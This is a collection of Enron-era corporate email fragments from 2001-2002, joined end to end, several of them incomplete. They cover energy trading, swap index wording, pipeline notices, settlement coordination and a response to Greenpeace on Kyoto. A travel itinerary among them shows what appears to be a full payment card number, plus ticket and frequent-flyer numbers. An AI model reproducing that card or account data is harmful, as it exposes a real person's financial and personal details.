after the retracted a statement that Calpine planned to secure its 
new line of credit with assets, which would make bondholders less 
secure. The company's 8.5% note due in 2011 closed at $0.67 on the 
dollar. The notes sold a year ago at $0.998 on the dollar. The stock 
price has dropped 85% in the last year. Shares fell to $6.15 from 
$6.56 following the initial announcement, but after the correction, 
the stock rose to close at $6.83 per share, down $0.28. S&P said the 
company's ratings remain at `BB+' and the outlook for the rating is 
stable. 

???????????Progas Storage and Services, Inc.

Progas can custom build gas storage in the Upper Midwest.

? Design to your specifications
? Close to your markets
? Unregulated storage
? Lower transportation fees
? Lower storage rates

Progas is now accepting proposals and orders for years 2002-2007 for 
approxamately 5 bcf of storage on Midwestern system serving Indiana, 
Illinois, and 3 bcf on Texas Gas Transmission system serving 
Tennessee, northern Kentucky, Indiana, and Ohio.  Additional 
potential storage filds beding acquired at this time on Midwestern, 
anhandle Eastern and A & R (Coastal) systems serving the Upper 
Midwest. Inquiries from potential partners, investment bankers, and 
brokers welcome.

Progas Storage and Services, Inc.
8610 South Highway 277
Abilene, TX 79606
Phone: 915-698-3699
Fax: 915-698-2859
Email: gastorage@aol.com
Dynegy to Sell Shares in Limited Partnership

    Dynegy has filed with the SEC to sell 8.75 million common shares 
in Dynegy Energy Partners. The partnership will operate or acquire 
processing plants, storage tanks and terminals for Dynegy's natural 
gas liquids business. Dynegy Energy Partners expects to use the 
$165.2 million in projected proceeds to pay $148.3 million owed to 
Dynegy and use $13.7 million for working capital. Dynegy owns 55% of 
the partnership. In a move to improve its balance sheet, Dynegy is 
looking to raise $1.25 billion by cutting costs, selling assets and 
issuing stock. The partnership will allow Dynegy to raise capital and 
reduce debt while maintaining control of its pipeline system. 
Dynegy's natural gas liquids business had a profit of $41.5 million 
last year from $3.9 billion in sales. Since limited partnerships are 
not required to pay income tax, they retain more of their profit. 
Dynegy said it expects the partnership to have quarterly dividends of 
about $0.44 per share, or $1.76 per year. 
FINANCIAL SUMMARY
The TSE 300 increased 85.82 points to 7512.46
The CRB Index lost 1.80 points to 189.91
The US Dollar added 0.65 points to 119.13
The Dow advanced 177.28 points to 10145.71
The S&P 500 gained 19.59 points to 1109.43
The Nasdaq was up 45.34 points to 1769.88
April NYMEX Crude Oil fell 0.59 to 20.48
Canadian-US Exchange rose 0.0073 to 1.6016
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Mark,

The following is a new  power demand index requested by Claudio Ribeiro.  
Please let me know if it looks OK for the Website.

A US Power Demand Financial Swap Transaction with Enron North America Corp., 
under which the Seller is obliged to pay the Payment Amount to the Buyer 
where the Floating Amount is above the Fixed Amount, or where the Buyer is 
obliged to pay the Payment Amount to the Seller where the Floating Amount is 
below the Fixed Amount.  The Fixed Amount is the amount in Megawatts 
submitted in the "price" field by Counterparty via the Website. The Notional 
Amount is the product of the quantity submitted by Counterparty via the 
Website and the Pay Unit. The Payment Amount is the product of (i) the 
Notional Amount and (ii) the absolute value of the difference between the 
Floating Amount and the Fixed Amount.  The Payment Amount will be payable on 
or before ten (10) business days after the Floating Amount for the 
Determination Period is determinable.
The Determination Period is from and including the Effective Date of 04 Jun 
2001 (Initial Date) to and including the Termination Date of 08 Jun 2001 (End 
Date).
The Floating Amount shall be the arithmetic average of the hourly PJM loads 
for Peak hours on each Delivery Day during the Determination Period. The 
Floating Amount shall be calculated utilizing the hourly integrated loads 
published by PJM Interconnection, LLC ("PJM") on its official web site 
currently located at ftp://www.pjm.com/pub/account/loadhryr/index.html, or 
any successor thereto, under the heading "PJM Hourly Load Data".
The unit of measure against which the price is quoted shall be megawatts and 
the quantity shown shall be in total MWs.
The transaction is for on-peak ("Peak") hours on each Delivery Day beginning 
with the hour ending 0800 (7:00 am) and concluding with the hour ending 2300 
(11:00 pm) Eastern Prevailing Time.  "Delivery Day" means a day during the 
term of the transaction that is a Monday, Tuesday, Wednesday, Thursday, or 
Friday, excluding any day that is a NERC holiday.
The Pay Unit is 10 USD.

Thanks,

CW
3-7533

---------------------- Forwarded by Chris Walker/HOU/ECT on 04/16/2001 10:11 
From: Claudio Ribeiro/ENRON@enronXgate on 04/12/2001 11:20 AM
To: Chris Walker/HOU/ECT@ECT, Michael Nguyen/ENRON@enronXgate
cc:  
Subject: RE: NEPOOL

Chris,

the lenguage is fine for us.

Thanks,

Claudio

From:  Walker, Chris  
Sent: Wednesday, April 11, 2001 1:06 PM
To: Nguyen, Michael; Ribeiro, Claudio
Subject: NEPOOL

Melba is out of the office for the remainder of the week and I will be taking 
on her responsibilities.  Let me know if the following language is OK for the 
new index:

The Floating Amount shall be the arithmetic average of the hourly loads for 
Peak hours on each Delivery Day during the Calculation Period. The Floating 
Amount shall be calculated utilizing the hourly integrated loads published by 
ISO New England Inc. ("ISO-NE") on its official web site currently located at 
http://www.iso-ne.com/Historical_Data/hourly_data/2001_hourly_data.txt, or 
any successor thereto, under the heading "Load".

Thank you,

CW
3-7533

---------------------- Forwarded by Chris Walker/HOU/ECT on 04/11/2001 01:02 
   
  From:  Melba Lozano                                                         
    04/10/2001 03:01 PM	                              
	
To: Chris Walker/HOU/ECT@ECT
cc:  

---------------------- Forwarded by Melba Lozano/HOU/ECT on 04/10/2001 03:01 
From: Claudio Ribeiro/ENRON@enronXgate on 04/06/2001 07:56 AM
To: Melba Lozano/HOU/ECT@ECT
cc: Michael Nguyen/ENRON@enronXgate 

Melba,

the web location for NEPOOL Data is (for 2001) 
http://www.iso-ne.com/Historical_Data/hourly_data/2001_hourly_data.txt. The 
demand data is the data on the column under the name LOAD. The formulation 
for the weekly index (demand) is the same as it is in PJM.

Thanks,

Claudio

 <<NCLPatroness Meeting on Nov 12.doc>>

Robin,

Sorry so late.  Time just got away with me due to the Holiday.

Miranda

 - NCLPatroness Meeting on Nov 12.doc 

fyi.

From: navigator@nisource.com [mailto:navigator@nisource.com]
Sent: Wednesday, December 05, 2001 4:09 PM
To: navigator@nisource.com
Subject: Critical,OTHER,20011211,COLUMBIA GULF,007854581,Sea Robin
(Meter 481) Nominations

                       COLUMBIA GULF TRANSMISSION COMPANY                                    
                        NOTICE TO ALL INTERESTED PARTIES
                                DECEMBER 05, 2001

Re:  Sea Robin (Meter 481) Nominations
Notice ID: 3318
5 - NO RESPONSE REQUIRED                          

Columbia Gulf Transmission Company has been informed of scheduled maintenance 
work upstream of meter station 481 (Sea Robin - Erath) that will cause the BTU 
to exceed 1050.  Therefore effective December 11, 2001, Columbia Gulf will not 
accept nominations for receipts from meter station 481 until such time that the 
BTU does not exceed 1050.  The maintenance work is scheduled to last until 
December 17, 2001.  A Notice will be posted when Columbia Gulf is willing to 
resume accepting nominations at this location.                                  

6633 TRAVIS STREET / HOUSTON, TX 77030 / 713-313-4000 / FAX: 713-313-4660

I thought of you this weekend.  It was the fall antique festival in Round Top 
and I went, but it wasn't quite as nice as the pleasant day I had with you 
and your family.  That was such a perfect day all around and I will treasure 
it.  I hope all is going well....

Greg Whalley has available Diamond level seats (4 + parking) for the 2001 
Astros' season.   Greg would like to offer you usage of these tickets for 
customer relations and employee appreciation.  Listed below are some of the 
amenities associated with the diamond club.  Please contact me, Liz Taylor, @ 
x31935 for availability.

Parking:  Your parking pass enables you to park in the lot closest to Enron 
Field.

Dining:  A private dining room is located behind the field-side seating 
area.  Special requests should be phoned in at least 3 hrs prior to game 
time.  

Hours:  The Diamond Club opens two hrs before the first pitch and closes 1/2 
hr after the final out is recorded.

Liz Taylor 

Joe Paul and I are going today.  Call me next week and we can compare
notes.  I am still in a state of shock at how fast the whole scenario
played out.

FYI. SoCalGas is filing in favor of the decision adopting the settlement.

Best,
Jeff

From: 	Hass, Glen  
Sent:	Tuesday, October 16, 2001 1:12 PM
To:	Mark Baldwin (E-mail); Watson, Kimberly; Lindberg, Lorraine; Lohman, TK; Donoho, Lindy; Dasovich, Jeff; Pryor, Tony; Lichtenwalter, Blair; Lokey, Teb
Cc:	Harris, Steven; Kilmer III, Robert; Miller, Mary Kay
Subject:	GIR Conf. Call

Where have you heard that?  And what is it saying?

PS I don't think that "To Welsh" is a politically correct term.

Best,
Jeff

From: Dorothy Rothrock [mailto:drothrock@cmta.net]
Sent: Wednesday, December 05, 2001 11:16 AM
To: Dasovich, Jeff
Subject: tell me it isn't true...

Jeff, Is Enron going to welch on their deals?

Call me,

Dot
916-498-3319

---------------------- Forwarded by Peter F Keavey/HOU/ECT on 05/14/2001 
07:49 AM ---------------------------

sandra delgado <sdelgado_vitoltvl@yahoo.com> on 05/11/2001 04:28:09 PM
To: PETER.F.KEAVEY@ENRON.COM
cc:  
Subject: 03AUG HOUSTON TO NEW YORK= TICKETED

                                          AGENT JH/SS BOOKING REF
ZDJU5U

                                          KEAVEY/PETER

  ENRON
  1400 SMITH
  PETE X37277

  DATE:  MAY 11 2001                   ENRON

SERVICE               DATE  FROM           TO             DEPART
ARRIVE

CONTINENTAL AIRLINES  03AUG HOUSTON TX     NEW YORK NY    115P    559P
CO 1970    V          FRI   G.BUSH INTERCO LA GUARDIA
                            RESERVATION CONFIRMED         3:44 DURATION
                            SEAT 06C NO SMOKING CONFIRMED KEAVEY/PETER

CONTINENTAL AIRLINES  13AUG NEW YORK NY    HOUSTON TX     259P    558P
CO 1975    V          MON   LA GUARDIA     G.BUSH INTERCO
                            RESERVATION CONFIRMED         3:59 DURATION

      AIR FARE 241.86       TAX 26.64           TOTAL USD
268.50

                                        INVOICE TOTAL USD
268.50

PAYMENT: CCCA5490850070001643/1101/A011782

RESERVATION NUMBER(S)  CO/MVYLGL

KEAVEY/PETER                             TICKET:CO/ETKT 005 7028381410

CO  FREQUENT FLYER COWH845429
**CONTINENTAL RECORD LOCATOR: MVYLGL

up to 69.75 from a low of 66.06!  Big buyers?  Avg daily volume = 3.09M 
shares, today - 3.06M so far

Just wanted to let everyone know about the changes that will be made in the 
upcoming week(s) to the EPNG/Blanco/Blanco meter.  Currently, Blanco is an 
active pool facility that is traded by the West desk.  In order to allow the 
Deal Confirmations group to identify which trades require special handling 
language in the confirm, we have all decided to create a second meter with 
the same data reference number in Global Facilities.  Doing this will serve 
three purposes.  First of all, creating a second meter on the same data 
reference number allows users to see two separate meters in Sitara without 
affecting the way that physical location is nominated to the pipe since all 
they receive is the data reference number.  The change will also allow the 
Product Controls Group to create multiple products in EOL with different 
pricing terms on the same physical point.  In addition, it will temporarily 
resolve the issue the Deal Confirmation is currently experiencing in 
segregating the confirmations that need special language.    I will be 
creating a portfolio that will include all new trades done at both BLANCO 
meters which will be monitored by the Deal Confirmation group.  I will make 
sure to contact all of you once the meter change has become effective.  When 
the change is completed, expect to see the following locations available for 
selection in Sitara.

Pipe Zone  Meter   Product Description
EPNG BLANCO BLANCO EP Blanco 100%; use the standard Delivery Location field 
and add flag "Special Handling - 2 Nomination Cycle       language". 

EPNG BLANCO AVGBLANCO RESTRICTED, use the standard Delivery Location field 
and add flag "Special Handling - Operational Constraints       language".

Please call me if you have any questions.  

Imelda Frayre
x35423
 
It will take me awhile to find it.  Please ask Linda Simmons.

From: Carlos Sole on 05/17/2001 11:15 AM
cc:  

Subject: List of Outside Counsel

Would you forward me the outside counsel list again.  thanks

10:54 AM ---------------------------

04/27/2000 02:12 PM
To: Richard B Sanders/HOU/ECT@ECT, Elisabeth McCabe/Corp/Enron@Enron
cc:  
Subject: Proposed Leave Behind re: CalPX

FYI

---------------------- Forwarded by Maureen McVicker/HOU/EES on 04/27/2000 
02:11 PM ---------------------------

Jeff Dasovich on 04/27/2000 01:36:35 PM
To: Steve Kean, Mark Palmer, Mary Hain@ENRON_DEVELOPMENT, Paul Kaufman@EES, 
Tim Belden@ECT
cc:  

Tim,

Thanks for the feedback.  Kristin Albrecht is going to manage processes such as this and make sure, going forward, taht we are all on the same page.

Thanks,

Don 

Sent:	Wednesday, January 09, 2002 10:26 AM
To:	Postlethwaite, John; Reeves, Leslie; Calger, Christopher F.; White, Stacey W.; Miller, Don (Asset Mktg); Wax, Brandon
Cc:	Scholtes, Diana; Semperger, Cara; Presto, Kevin M.
Subject:	RE: Dec and Jan liquidations

Yesterday I was approached by Steve Thome who had been asked by Brandon Wax (who was asked by Don Miller?) looking for a cash forecast for deals that flowed in December.  While I'd like to be helpful, I have never done a cash forecast before.  We don't have the tools set up in Portland to do this sort of thing.  The data to do this has historically resided in Enpower.  A week ago the West Power desk met and agreed that we were able to and prepared to update Enpower in "Schedule" for all of the deals that flowed in December.  Diana Scholtes sent an e-mail (below) to Leslie Reeves on January 3rd indicating that we were prepared to update Enpower.  We heard from John Postlethwaite that Leslie didn't want us to update Schedule -- instead they could work off of our trade sheets.

I don't care which way we move forward.  It just seems that we aren't all on the same page.  We just want to do whatever needs to be done to get the right information to the right people.  Exerience tells me that we are better off doing it "right" the first time.  I am hoping that between Don, Leslie, and Stacey we can get some clear direction on what you would like us to do.  As of now, there is little I can do to assist Brandon with his request for a cash flow projection.

Regards,
Tim

From: 	Postlethwaite, John  
Sent:	Tuesday, January 08, 2002 1:10 PM
To:	Reeves, Leslie; Calger, Christopher F.; White, Stacey W.; Belden, Tim
Cc:	Scholtes, Diana; Semperger, Cara
Subject:	Dec and Jan liquidations

It has come to my attention that there seems to be miscommunication between various groups and people about how Dec and Jan scheduling for non-terminated deals should be handled. There are conflicting reports that Houston, through the estate, will handle updating scheduling in Enpower or that the scheduling group should be updating Enpower accordingly.

What I am hoping for is that by whatever communications means necessary we can come to a final action plan on how to clean this and get Enpower up to date as quickly and as accurately as possible.

Thanks,

John

Sent:	Thursday, January 03, 2002 8:43 AM
To:	Reeves, Leslie
Cc:	Gilbert, Scotty; Postlethwaite, John; Belden, Tim
Subject:	January Settlements

Leslie,

I'm trying to get a jump on making sure we have everything done properly in Enpower for the month of January.  My question is whether we, the West desk, should enter any changes in Enpower due to OUR non-delivery and/or incremental deals?  We have everything recorded on our Trade sheets, but if it would make it easier for you to settle or relay to the Estate by us making the changes in Deal Scheduling, we can do so.  

I also understand, after talking to John, you will be using our Trade sheets for such changes for the month of December.  I'm not sure who you would like us to assist in translating our sheets, but if you can call me, we can set up a conference call and I'll coordinate from each desk to attend.  

If there is anything else that you need us to do to help your group please let me know.

West Desk 

All,

The below is the confirmed list of those who will be extended offers to join the ENA Trading Track.   Thanks for your particpation in this recruiting event.

Rgds, Karen.

External: (4)

Fred Baloutch
Jeffrey Zaun
Eric Moncada
Gabriel Weinart

Internal: (14)
Brent Dornier
Gary Linhart
Geroge Huan
Giron Gustavo
Jason Huang*
Jason Jennaro
Jozef Lieskovsky
Leonidas Saavas*
Mason Hamlin
Peter Bennett
Rahul Seksaria
Scott Freeman*
Steve Pan

*additional offers

Chris

Send this request to me and we will look at it.

Margaret

From: 	Apollo, Beth  
Sent:	Monday, March 04, 2002 11:07 AM
Cc:	Dhont, Margaret
Subject:	RE: Municipal Gas Authority Of Georgia (MGAG)

thT is fine  -- Margaret will have to have her team look at it

Sent:	Monday, March 04, 2002 10:26 AM
To:	Apollo, Beth
Cc:	McMichael Jr., Ed; Dhont, Margaret
Subject:	Municipal Gas Authority Of Georgia (MGAG)

In connection with Deloitte & Touche's annual audit of MGAG, Deloitte & Touche is trying to confirm what MGAG has billed ENA for the year ending December 31, 2001.  I would normally send this request directly to settlements.  However, it is my understanding that all request should be coordinated through you due to our circumstance.  

If I don't hear from you by 2:30 PM this afternoon, I will send you the 13 page fax I received from Deloitte & Touche and I will give them your name and number as the contact person to comply with their requests.

Thanks
Chris L. Germany
Manager, Gas Trading
Phone 713-853-4743
Fax  713-646-3037

I think Jeff should be the point person on putting the response together on 
this (and future air and climate change position inquiries).  Jeff - please 
make sure you get the comments of all involved.

Jeffrey Keeler
04/17/2001 05:02 PM
To: Michael Terraso/OTS/Enron@ENRON, Steven J Kean/NA/Enron@Enron, Kelly 
Kimberly/Enron Communications@Enron Communications, Lauren 
Iannarone/NY/ECT@ECT, Catherine McKalip-Thompson/Enron Communications@Enron 
Communications, Lisa Jacobson/ENRON@enronXgate, Mark Palmer/Corp/Enron@ENRON
cc:  

Subject: Re: Greenpeace letters to Enron Europe concerning our position on 
Kyoto  

All:  I would like to discuss how we might respond to this letter from 
Greenpeace, if at all.  The letter is attached way at the bottom of this 
e-mail, and was received in several Enron European offices as a copy of what 
was sent to Jeff Skilling and other CEOs of major companies.  I have not 
confirmed our receipt of such a letter from any of you, but am assuming it 
was delivered.

I think we could respond in a very positive, constructive manner to 
Greenpeace, based on the statements we've already documented and the 
strategies we are developing.  Lisa Jacobson and I are currently working on 
developing some tighter climate change and clean air "messages" that we can 
use in multiple areas ASAP -- upcoming Ken Lay speeches and interactions with 
the Administration, revising the Statement for the 2001 Corporate 
Responsibility Report, Enron Business articles and other internal uses, 
responses to environmental group inquiries and shareholder meeting Q&A, and 
use in everyday speeches and advocacy work.

The Greenpeace questions are tricky, and set up no-win answers for the most 
part.  I doubt they will get any direct answers to questions like:  "Does 
your company support President Bush in his opposition to the protocol?"   In 
my opinion, we can respond to Greenpeace without directly responding to these 
types of questions.  Addressing Kyoto directly is a slippery slope -- its 
best to stick with the solution-oriented approach we've always taken.

For this reason, I was a bit concerned to see in the e-mail chain below a 
characterization of Mark Palmer's statement on Kyoto (given to Jackie Gentile 
in London) -- "Enron has always taken the view that the Kyoto protocol was 
not a workable solution to dealing with CO2 emissions.  However it is not the 
principles behind Kyoto that we take issue with, rather it is the vehicle 
that has been devised to deliver the results."  I believe it is dangerous to 
make such statements for a number of reasons -- Greenpeace would absolutely 
beat us over the head with it, Friends of the Earth could step up its 
shareholder initiatives, etc.    Also, this sets you up for a number of 
follow up questions that I don't think we have answers to, like:  What about 
Kyoto is not workable?  What would make it workable and would we help make it 
workable?  If not Kyoto, what is Enron's preferred "vehicle?"  I'd really 
rather stay with a constructive, solution-oriented approach and avoid 
reference to Kyoto altogether.

I will talk with Kate Bauer in Enron Europe about this, but I think we need 
to decide on a global, corporate-wide response to Greenpeace.   I would be 
happy to set up a quick conference call on the subject, or just field 
comments by e-mail -- whatever works best.

Thoughts?

Director, Environmental Strategies
Enron
Washington DC office - (202) 466-9157
Cell Phone (203) 464-1541

	Lauren Iannarone@ECT
	04/17/2001 11:20 AM
		 
		 To: Jeffrey.Keeler@enron.com
		 cc: 
		 Subject: Re: Greenpeace letters to Enron Europe concerning our position on 
Kyoto

FYI:  I  defer to you on this but assume we are in a good position to respond 
to Greenpeace.  I assume you will discuss with Kate and Peter - let me know - 
thanks

---------------------- Forwarded by Lauren Iannarone/NY/ECT on 04/17/2001 
11:37 AM ---------------------------

Peter.Styles@enron.com on 04/17/2001 09:42:40 AM
To: Kate.Bauer@enron.com
cc: lauren.goldblatt@enron.com, kelly_kimberly@enron.net, 
Fiona.Grant@enron.com, Jackie.Gentle@enron.com, Stacey.Bolton@enron.com, 
Nailia.Dindarova@enron.com 

Kyoto

Thanks Kate. Please keep Nailia Dindarova in my Brussels office and me
copied on responses since I will be co-ordinating any pronouncements on
this topic in Europe in policymakers' circles. For them neither the
negativity nor the vagueness of the words you quote below (on which Mark
and Jackie already know my views!) will be adequate.

Kate Bauer@ENRON
17/04/2001 15:36

To:   lauren.goldblatt@enron.com
cc:   kelly_kimberly@enron.net, Fiona Grant/LON/ECT@ECT, Jackie
      Gentle/LON/ECT@ECT, Peter Styles/LON/ECT@ECT

Subject:  Re: Greenpeace letters to Enron in the Netherlands and Spain re
      our position on Kyoto

Lauren

Further to my telephone message today, I would be grateful for your view on
the approach we should be taking to the issue of Greenpeace sending letters
to our European offices re: Kyoto. Several of our offices (Spain, Belgium,
Netherlands) have received a local language version of the letter
originally sent to Jeff Skilling, and other CEOs, on 5 April 2001. The
email chain below gives an indication of what is in circulation.

Greenpeace is expecting a response within the next week. Jackie Gentle has
made me the point of contact in the PR department for this issue. We have
discussed this issue briefly and we would support issuing an initial
statement to acknowledge receipt of the letters, perhaps followed by a
standardised, corporate- approved letter, but would like to ensure our
approach is supported, and consistent with any actions, by Corporate. As
some of the countries in which we operate have tangible "green" focused
projects e.g. we have acquired a wind project in The Netherlands, it may be
appropriate to allow such countries to personalise their response in local
language.

If we follow up an initial acknowledgement with a fuller response to
Greenpeace's questions, I suggest we consider the following issues raised
recently by Jackie Gentle:

"In response to several requests for clarification, I have spoken with Mark
Palmer who has provided the following information on Enron's stance
regarding Kyoto:

Enron has always taken the view that the Kyoto protocol was not a workable
solution to dealing with CO2 emissions.  However it is not the principles
behind Kyoto that we take issue with, rather it is the vehicle that has
been devised to deliver the results.

We firmly believe that there is work to be done in reducing greenhouse
gases and Enron has put in place a number of programs that have measurably
reduced carbon dioxide as well as SO2 and Oxides of Nitrogen (Nox)

By way of example ....
   emissions trading programs have been put in place where these can be
   implemented
   Enron is one of the largest developers of natural gas-fired power plants
   which produce about 50 percent less carbon dioxide than coal or
   oil-fired plants
   demand-side management programs through EES to reduce energy usage
   the Catalytica program
   focus on renewable-related projects

At the current time there is no formal statement from Enron Corp on the
Kyoto issue."

Before we proceed, I would be grateful if you could contact me to share
your views on this.

Many thanks.
Kate

Kate Bauer
Manager Public Relations and Communications
ext: 32495

---------------------- Forwarded by Kate Bauer/EU/Enron on 17/04/2001 14:14

Nailia Dindarova@ECT
17/04/2001 13:28

To:   Peter Styles/LON/ECT@ECT
cc:   Eva Hoeffelman/LON/ECT@ECT, Jackie Gentle/LON/ECT@ECT, Julie
      Green/LON/ECT@ECT, Mark Palmer/Corp/Enron@ENRON, Fiona
      Grant/LON/ECT@ECT, Andrew Morrison/LON/ECT@ECT, Hans-mart
      Groen/Enron@EUEnronXgate, Ross Sankey/LON/ECT@ECT, Kate
      Bauer/EU/Enron@Enron, Paul Hennemeyer/LON/ECT@ECT, Teun Van
      Biert/LON/ECT@ECT

      our position on Kyoto  (Document link: Kate Bauer)

We have now recieved a letter from Greenpeace Belgium here in the Brussels
office (please see attached).

(See attached file: Greenpeace Belgium_Letter April 13 2001.tif)

Peter Styles
17/04/2001 11:59

To:   Stacey Bolton/Corp/Enron@Enron, Rob Bradley/Corp/Enron@ENRON, Richard
      Shapiro/NA/Enron@Enron
cc:   Nailia Dindarova/LON/ECT@ECT, Alfredo Huertas/LON/ECT@ECT, Teun Van

Subject:  Greenpeace letters to Enron in the Netherlands and Spain re our
      position on Kyoto

As I was saying in my e-mail a few minutes ago......................

---------------------- Forwarded by Peter Styles/LON/ECT on 17/04/2001
12:01 ---------------------------

17/04/2001 12:52

To:   Jackie Gentle/LON/ECT@ECT, Axel_Pothof@nl.bm.com
cc:   Julie Green/LON/ECT@ECT, Peter Styles/LON/ECT@ECT, Mark
      Palmer/Corp/Enron@ENRON, Fiona Grant/LON/ECT@ECT, Andrew
      Morrison/LON/ECT@ECT, Hans-mart Groen/Enron@EUEnronXgate, Ross
      Sankey/LON/ECT@ECT, Kate Bauer/EU/Enron@Enron, Paul
      Hennemeyer/LON/ECT@ECT, Teun Van Biert/LON/ECT@ECT

Subject:  Greenpeace letter to Enron in the Netherlands re our position on
      Kyoto

Please find below the Greenpeace letter our Dutch office received today (as
has our Spanish office).  Their deadline for our answers to their questions
is before 26 April.  I am asking our PR agency in the NL to translate the
letter asap.

In the mean time, I will wait for direction on our official corporate
response on this issue and then discuss suitability or possible adaptation
for the Dutch market or for this letter in particular.

I have advised Hans-Mart to make sure all employees in the Dutch office do
not reply to any calls or queries re the above ubject and to refer them to
me.

Thanks
Eva
---------------------- Forwarded by Eva Hoeffelman/LON/ECT on 04/17/2001

London Fax System2
04/17/2001 11:26 AM

To:   Eva Hoeffelman/LON/ECT@ECT
cc:

Subject:  New fax received (Likely sender: +31 0 206541966).

You have received a new fax from +31 0 206541966

The image contains 1 page(s).

 - Greenpeace Belgium_Letter April 13 2001.tif

Thanks Tana

Sent: Tuesday, February 27, 2001 4:03 PM
Cc: Cook, Mary; Shackleton, Sara
Subject:  MAC Clauses

Per our meeting, attached are the current forms of MAC Clauses.  I have added 
at the end of the list, the Event of Default for change in ownership because 
I know that one comes up frequently.  Also, I don't know if you want to also 
suggest that the other trading groups work from our guaranty forms as well as 
our LC form.

The Legal heads of each of the trading groups are:

Mark Taylor:  Financial Trading
Jeff Hodge:  Physical Gas Trading
Elizabeth Sager:  Physical Power Trading
Alan Aronowitz:  Physical Global Markets (Liquids, Plastics, Coal, Emissions 
& Metals)
Julie Murray:  Physical Industrial Markets (Pulp & Paper, Steel)

 << File: material adverse change.doc >> 

Angelika.

Yes.

Vince

Angelika Staude <AStaude@iirltd.co.uk> on 04/12/2001 03:01:25 AM
To: "'Vince.J.Kaminski@enron.com'" <Vince.J.Kaminski@enron.com>
cc:  
Subject: RE: PoweRisk 2001 - Your Invitation

Vince,

Brilliant, thanks. Same sub points, same bio?

Angelika Staude
Director Gas & PoweRisk 2001

Tel: 0044 207 915 5675
Fax: 0044 207 915 5101
www.icbi-uk.com/powerisk

From: Vince.J.Kaminski@enron.com [mailto:Vince.J.Kaminski@enron.com]
Sent: Wednesday, April 11, 2001 6:59 PM
To: AStaude@iirltd.co.uk
Cc: Vince.J.Kaminski@enron.com
Subject: Re: PoweRisk 2001 - Your Invitation

Angelika,

Yes, I shall be glad to attend and repeat the same presentation.

Vince

Angelika Staude <AStaude@iirltd.co.uk> on 04/09/2001 04:19:08 AM

To:   "'vince.j.kaminski@enron.com'" <vince.j.kaminski@enron.com>
cc:
Subject:  PoweRisk 2001 - Your Invitation

                               PoweRisk 2001

       The Global Premier ForumforEnergy Trading & Risk  Management

                     ?6th - 9th November  2001, Paris

Dear Mr Kaminski,

I am responsible for the programme of this year's  PoweRisk conference in
Paris. Helyette Geman has informed me that she has  contacted you
concerning the workshop and that you are happy to do it with her  again
this year - brilliant!

I would like to know if you are also interested in  delivering a paper
again. The audience in previous years greatly appreciated  your
contribution, and I would me more than happy if you could join us again.

To give you an idea of the programme so far, these are  the ("technical")
topics that are already covered:

Chris  Strickland: Forward Curve Models with Jumps for the Pricing of
Exotic Energy  Contracts

   multi-factor forward  curve models for the valuation of energy contracts
   adding jumps
   applying the models to  exotic energy options
   extensions to multiple  energy contracts

Les  Clewlow: Valuation and Risk Management of Virtual Power Stations and
Gas  Supply Agreements

   Structures of  Gas Supply Agreements (GSA)
   Relationships  between Physical and Virtual Power Stations (PPS/VPS)
   Valuation  methods for GSA's and VPS's
   Risk Analysis of GSA's  and VPS's

Derek Bunn, Professor of Decision  Sciences, LONDON BUSINESS SCHOOL:
Analysing The Impact Of NETA On  Market Efficiency & Volatility In The UK
Energy  Market

Chris Harris,  Director of Market Development.Operations and Engineering,
INNOGY: Applying  Cutting-Edge Portfolio Management Theory In Order To
Optimise Your Risk Exposure

   Establishing  and valuing the key factors using a bottom up approach
   Looking at  the interconnection between key factors
   The treatment of the risk  of infrequent but high impact events

Peter  Nance, Principal, TEKNECON: Combining Power  Systems And Monte Carlo
Simulations For Effective  Pricing

Dan  Mansfeld, Head of Risk  Control,  VATTENFALL:  Assessing The Benefits
And Risks Of Using  Derivatives As Part Of Your Risk Management Strategy

Spyros  Maragos: Analysing New Approaches To Building Forward Curves From
Available  Market Data

Tamara  Weinert, Credit and Contracts  Manager, MIRANT  ENERGY:
Successfully Measuring & Managing Credit  Risk

   What is  Credit Risk?
   Major changes  in the industry and their impact on Credit Risk
   Effects of  new risk profiles on credit appetite: Credit analysis; Limit
   Setting; Risk  Reducing Structures
   Importance of Credit in  the Organizational Structure: Reporting;
   Dependence; Structure of Credit  Department

Brett  Humphreys: Examining Cutting-Edge Credit Exposure Mitigation Tools:
Combining  Counterparty and Portfolio Credit VaR Techniques

Helyette Geman: Pricing of exotic energy derivatives and structured
contracts

Please let me know if you are interested  in joining the PoweRisk 2001
speaker panel, and which topic you would like to  cover. I think that
something along the lines of last year's talk (State-of-the-Art Volatility
And Correlation Estimation  Techniques For Multiple Energy Portfolios)
would be brilliant again, but please  feel free to chose something else
that has not been covered  yet.

I look forward to hearing  from you,

Angelika  Staude

Director?PoweRisk  2001

Tel: 0044 207 915  5675
Fax: 0044 207 915  5101

PS: For your information, please find enclosed a list  of confirmed
speakers for PoweRisk 2001.
(See attached file: Confirmed Speakers.doc)

I sent an e-mail to Les Rawson about these deals yesterday, but - oops! - 
he's not in the office. I just had Stan Cocke enter the unit names in them, 
so you should see the following in the comments section -

568866 - unit name is Willamett Industries Albany Paper Mill
568864 - unit name is Grays Harbor Paper Mill
568860 - unit name is Las Vegas Cogeneration Facility

Thanks,
Kate

Kimberly Hundl@ENRON
04/05/2001 07:51 AM
cc:  

Subject: Unit contingent deals

hi kate!
there are some unit contingent deals from the 3rd that do not have the unit 
name in deal entry.  these are the deal numbers:
568860
568864
568866
thanks!
Kim

Is this for you?
04/02/99 09:22 AM ---------------------------

Inga Kozerska
04/02/99 12:58 PM
To: Mark Frevert/LON/ECT@ECT, Danny McCarty/LON/ECT@ECT, John 
Sherriff/LON/ECT@ECT, Richard DiMichele/LON/ECT@ECT, Jay 
Fitzgerald/LON/ECT@ECT, Dan Badger/LON/ECT@ECT, Christoph 
Waltenspuel/LON/ECT@ECT, Mark Schroeder/LON/ECT@ECT, Joe Gold/LON/ECT@ECT, 
Scott Sefton/LON/ECT@ECT, Louise Kitchen/LON/ECT@ECT, Paul 
Chivers/LON/ECT@ECT, John Chappell/LON/ECT@ECT, Fernley Dyson/LON/ECT@ECT, 
Anna Briggs/LON/ECT@ECT, Tom Briggs/LON/ECT@ECT, David Grevelle/LON/ECT@ECT, 
Boris Brevnov/LON/ECT@ECT, Eric Shaw/LON/ECT@ECT, Mark Evans/LON/ECT@ECT, 
Nicholas Curtis/LON/ECT@ECT, Jozsef Balogh/LON/ECT@ECT, Jeremy 
Haug/LON/ECT@ECT, Joan Wasylik/LON/ECT@ECT, Greta Bull/LON/ECT@ECT, Alan 
Black/LON/ECT@ECT, Ulf Ek/LON/ECT@ECT, Marek Helinski/LON/ECT@ECT, Justyna 
